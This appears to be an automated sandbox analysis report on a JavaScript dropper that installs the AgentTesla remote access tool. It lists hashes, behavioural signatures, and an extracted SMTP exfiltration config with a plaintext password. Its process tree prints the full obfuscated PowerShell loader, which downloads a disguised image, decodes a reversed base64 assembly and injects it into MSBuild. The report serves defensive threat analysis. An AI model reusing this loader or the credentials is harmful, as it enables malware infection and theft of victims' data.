Analysis
-
max time kernel
119s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-12-2024 04:34
Static task
static1
Behavioral task
behavioral1
Sample
943869c0fd11cfbfdbf3ba902377e1470be12c94a9f2d49c952a14a9700552b0.js
Resource
win7-20240729-en
General
-
Target
943869c0fd11cfbfdbf3ba902377e1470be12c94a9f2d49c952a14a9700552b0.js
-
Size
75KB
-
MD5
2e461076f6618e8f34ac4ada5bcc55fd
-
SHA1
343a6c8b272ee7c261c9a3fb1eda91f769cc18ed
-
SHA256
943869c0fd11cfbfdbf3ba902377e1470be12c94a9f2d49c952a14a9700552b0
-
SHA512
c4d0fc5f78321824c32493491cf0e29bb50a24294eb08e6934d206e4adeaa1aa1f7ddc2f443fe5e4ba9bb8d534443af61e9bdb8578573c66ab2f2b754d599985
-
SSDEEP
1536:8Z4xzQ6VsYE/D5OK1hoFPqd50a+X7psEBCCB29f+JrdWXOUPmMcA9KBwbBs:8SzQ6Vo/9RzY
Malware Config
Extracted
https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg%20
https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg%20
Extracted
Protocol: smtp- Host:
mail.ctdi.com.ph - Port:
587 - Username:
[email protected] - Password:
A#f+Y]H8iO4a
Extracted
agenttesla
Protocol: smtp- Host:
mail.ctdi.com.ph - Port:
587 - Username:
[email protected] - Password:
A#f+Y]H8iO4a - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Agenttesla family
-
Blocklisted process makes network request 2 IoCs
flow pid Process 6 3600 powershell.exe 21 3600 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation wscript.exe -
pid Process 3600 powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 23 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3600 set thread context of 4412 3600 powershell.exe 91 -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3600 powershell.exe 3600 powershell.exe 4412 MSBuild.exe 4412 MSBuild.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3600 powershell.exe Token: SeDebugPrivilege 4412 MSBuild.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 208 wrote to memory of 3600 208 wscript.exe 83 PID 208 wrote to memory of 3600 208 wscript.exe 83 PID 3600 wrote to memory of 4412 3600 powershell.exe 91 PID 3600 wrote to memory of 4412 3600 powershell.exe 91 PID 3600 wrote to memory of 4412 3600 powershell.exe 91 PID 3600 wrote to memory of 4412 3600 powershell.exe 91 PID 3600 wrote to memory of 4412 3600 powershell.exe 91 PID 3600 wrote to memory of 4412 3600 powershell.exe 91 PID 3600 wrote to memory of 4412 3600 powershell.exe 91 PID 3600 wrote to memory of 4412 3600 powershell.exe 91
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\943869c0fd11cfbfdbf3ba902377e1470be12c94a9f2d49c952a14a9700552b0.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:208 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$parkinson = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg ';$paunches = New-Object System.Net.WebClient;$hebiter = $paunches.DownloadData($parkinson);$tsarevichi = [System.Text.Encoding]::UTF8.GetString($hebiter);$shilpit = '<<BASE64_START>>';$riotise = '<<BASE64_END>>';$percylite = $tsarevichi.IndexOf($shilpit);$marbleization = $tsarevichi.IndexOf($riotise);$percylite -ge 0 -and $marbleization -gt $percylite;$percylite += $shilpit.Length;$Rybnik = $marbleization - $percylite;$overbill = $tsarevichi.Substring($percylite, $Rybnik);$unvaccinated = -join ($overbill.ToCharArray() | ForEach-Object { $_ })[-1..-($overbill.Length)];$autosave = [System.Convert]::FromBase64String($unvaccinated);$chemotropism = [System.Reflection.Assembly]::Load($autosave);$queef = [dnlib.IO.Home].GetMethod('VAI');$queef.Invoke($null, @('txt.tirb/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptth', '$punkling', '$punkling', '$punkling', 'MSBuild', '$punkling', '$punkling','$punkling','$punkling','$punkling','$punkling','$punkling','1','$punkling','TaskName'));"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3600 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4412
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82